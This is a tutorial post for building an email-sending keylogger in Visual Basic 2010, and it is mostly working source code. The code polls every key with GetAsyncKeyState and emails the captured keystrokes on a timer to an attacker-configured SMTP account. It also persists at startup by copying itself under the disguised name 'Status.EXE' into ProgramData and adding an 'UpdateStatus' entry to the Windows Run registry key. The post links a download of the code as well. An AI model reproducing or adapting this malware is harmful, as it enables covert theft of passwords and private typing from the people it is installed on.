How to make an Email Sending Keylogger In Visual Basic 2010

If you have any comments/questions post below
(update)
Here is a working code to make the keylogger startup with windows:
Dim appname As String = IO.Path.GetFileName(Application.ExecutablePath)
My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\ProgramData\status\" & "Status.EXE", True)
Dim regKey As Microsoft.Win32.RegistryKey
regKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("UpdateStatus", Chr(34) + "C:\ProgramData\status\" + "Status.EXE" + Chr(34))
regKey.Close()

You can change status or Status to whatever you want as long as it does NOT have spaces and you make sure if you change one status or Status that you change the other to the exact same thing or this will NOT work.
(update)
Heres the codes in a txt file because YouTube messes them up: http://www.mediafire.com/?c0wo5co055zy0sc

Code:

Imports System.Net.Mail

Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
RichTextBox1.Text = RichTextBox1.Text + Chr(i)
End If
Next i
End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress("your email")
MyMailMessage.To.Add("your email")
MyMailMessage.Subject = ("Keylogger")
MyMailMessage.Body = RichTextBox1.Text
Dim SMTPServer As New SmtpClient("your smtp host")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("your username", "your pw")
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
RichTextBox1.Text = ("")
End Sub
End Class